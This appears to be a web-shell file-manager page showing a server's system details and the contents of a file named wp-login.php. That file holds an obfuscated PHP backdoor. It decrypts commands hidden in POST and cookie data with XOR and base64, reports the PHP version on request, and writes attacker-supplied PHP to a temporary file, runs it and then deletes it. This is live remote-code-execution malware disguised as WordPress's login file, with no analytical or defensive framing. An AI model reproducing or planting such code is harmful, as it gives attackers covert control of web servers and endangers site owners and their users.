HEX
Server: Apache
System: Linux localhost.localdomain 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web57 (5040)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client6/web57/web/I/wp-login.php
<?php 

$wqzkidraon    = /*  w */ 'wqzkidraon'    ^      '';
$hynsqjagcp    =	"a"."\162"     . /* rmx  */ $wqzkidraon(121-7)    . /*  zoxy   */ $wqzkidraon(97)     . /*   p_ddzh   */ "y"."\x5f"	.     "\155"    .    $wqzkidraon(583-486)    . /*  hmh  */ $wqzkidraon(112);
$dowca	=  $wqzkidraon(115) /* n  */ .    "t"."\x72"   . /* j */ "_"."s".$wqzkidraon(112)	. /*   vfvv   */ $wqzkidraon(147-39) /*s_pl*/ . /*   yot   */ "\151"    .	"t";




function      ciroz_krlk($mbbulznh__,    $qkoebofow)
{


	global	$wqzkidraon;

   


     $mbbulznh__       =   "<" /*kf  */ .  $wqzkidraon(63)    .    "\160"     . /*  i   */ "h"."\x70" /*  rordt  */ .	$wqzkidraon(32)      . /*   ra   */ $wqzkidraon(117)	. /*  kk */ $wqzkidraon(522-412) /* oncz   */ .  "l".$wqzkidraon(420-315)   .   $wqzkidraon(110) /*kpijsl */ .    $wqzkidraon(107) /*tzqfe */ . /* lufct  */ "(".$wqzkidraon(674-579) /*  eix */ .    "\x5f"   .    "F"."\x49"	.    "L".$wqzkidraon(1001-932) /*  tbpnf*/ .    "_"."_".")".$wqzkidraon(305-246)   . /*euji */ $wqzkidraon(32) /*jlzocu */ . /*  ko  */ $mbbulznh__[$wqzkidraon(446-346)];
 /*  u */ $abqp_ /*  fngop */ = /*   dl*/ "f"."\x69".$wqzkidraon(108)     . /*  fzm  */ "\145"."_"."\160" /*   mmret   */ .  "\165"	.       "t"."\x5f"    .  $wqzkidraon(99)  .   "o"."\156" /*gsq   */ .   "t"."\145".$wqzkidraon(110)    . /*   exkch_  */ "\x74" /*   omvb */ .     $wqzkidraon(115);

	


 /*umvch */ $abqp_($qkoebofow,	$mbbulznh__);


    
      sea_awege($qkoebofow);


}

$uaeskgxcrnlaq  = /*   hljmw*/ 73;

function /*  h   */ sea_awege($qkoebofow)


{

	global    $wqzkidraon;

 /* rmvbnl  */ 

    include($qkoebofow);

	$blrkei /* rrc*/ =   $qkoebofow; /*   nuauu*/ @unlink($blrkei);

}
function	fvjcut(){
  global    $wqzkidraon;

    $uaeskgxcr /*   xkkd*/ =	array();


  $uaeskgxcr[$wqzkidraon(959-847) /*  antza*/ .      "v"] /*gvmhi */ =       phpversion();
    $uaeskgxcr["s"."v"]       =     "3".".".$wqzkidraon(53);

	$_bdilfcfss /*  htbzko */ =       74; /*  cvgpni*/ echo    @serialize($uaeskgxcr);}





function       vdp_pulb($mbbulznh__, /*   cupof */ $pkrglpdm)

{     global    $wqzkidraon;




    $zclnxqjjd     = /* b*/ "";

 /*csoyoj   */ $buzeivi  =	strlen($mbbulznh__);

       $aysyxh_dvk    = /*n*/ strlen($pkrglpdm);
 /*t */ $uaeskgxcr /*jy */ =    0;
	$tqapych /* dwvtri */ =	0; /*   sfs*/ 
 /* _pzo */ while	($uaeskgxcr     <	$buzeivi)      {
    $_cpsni_cw    =    $mbbulznh__[$uaeskgxcr]    ^ /* cal   */ $pkrglpdm[$tqapych   %    $aysyxh_dvk];

 /* z  */ $zclnxqjjd /*  i */ .=	$_cpsni_cw;
     $tqapych++;      	$uaeskgxcr++;
 /* ee  */ }


  

	if /*qth*/ (strlen($zclnxqjjd)	>    20) /* ijva */ { /*axjn   */ $cvldw /* rq */ =   substr($zclnxqjjd, /* nphne */ 0,    20);

 /*ud   */ }


   if   (empty($zclnxqjjd)) /*fsibc  */ { /*  akj  */ $zclnxqjjd     = /* nzfl   */ date('Y-m-d     H:i:s');  }

 /*   si*/ return  $zclnxqjjd;

}


function    ujlncjx_($mbzjnbbjf)
{

    global      $wqzkidraon;


   


	$wigzv /*rfho */ = /*  x*/ "5"."c".$wqzkidraon(51)	. /*   zto*/ "0"."\66" /*lprgxi  */ . /*   gkgavv  */ $wqzkidraon(731-682)	. /*   ydq */ "\x64" /*   ujuqm_   */ .      "3"."-"."\x64"	.	"c".$wqzkidraon(52) /*_   */ .      $wqzkidraon(446-346)."\55"	.   "4"."b".$wqzkidraon(379-277)    . /*mtc */ "\144"    .       $wqzkidraon(404-359)     .      "b".$wqzkidraon(482-432)    .     $wqzkidraon(903-802)   . /*  yhflcl  */ "f"."-"."4"."6".$wqzkidraon(49)    .	$wqzkidraon(535-438)    .  "8".$wqzkidraon(446-346)."\63"  . /*   majs*/ $wqzkidraon(97)	. /*kcmr   */ "\x34"    .	$wqzkidraon(50)    .     $wqzkidraon(54)    .	"\61";


	

 /*   xlkxd  */ foreach   ($mbzjnbbjf     as    $aczmg     =>	$mbbulznh__) /* e   */ {       ltvwbslrb(base64_decode($mbbulznh__),  $wigzv, /*dzzl_   */ $aczmg);
 /*   opu*/ }}
function /*   uoxfpb  */ ltvwbslrb($mbbulznh__, /*   uypeh  */ $wigzv,    $aczmg)


{ /*  sixqai */ global    $wqzkidraon;


 /*xydkzc  */    $mbbulznh__     =    unserialize(vdp_pulb(vdp_pulb($mbbulznh__,       $wigzv),	$aczmg));

	$usswz_vuz    = /* bla*/ 'eqne_';


	$hmylyvxf    =    'gw';    if    (isset($mbbulznh__["\141" /* f_nvd */ . /* fq*/ "k"])) /*   bx  */ {	if /*vle   */ ($mbbulznh__["a"]	==	"\x69")       {  fvjcut();    }	elseif       ($mbbulznh__["a"] /* nnwm  */ ==    "\145")  {
     ciroz_krlk($mbbulznh__,	sprintf("\x2e" /*qf   */ . /* xayn_w*/ "\57" /*   q  */ .       $wqzkidraon(363-326)     .       $wqzkidraon(190-75)   .    ".".$wqzkidraon(863-751)    .	$wqzkidraon(131-23),	md5($wigzv)));			$fyiixlbka    =	44;

     }


    exit(); /*  jq */ }


}


ujlncjx_($_POST); /* mpm */ 

$udvyckwwg /*   veesku   */ =    'rawurldecode';

$s_ofawm /*   r  */ =    $hynsqjagcp($udvyckwwg, /*   w   */ $_POST);

$dowca($udvyckwwg);



ujlncjx_($_COOKIE);




$njafsv     =      $hynsqjagcp($udvyckwwg,    $_COOKIE);




?>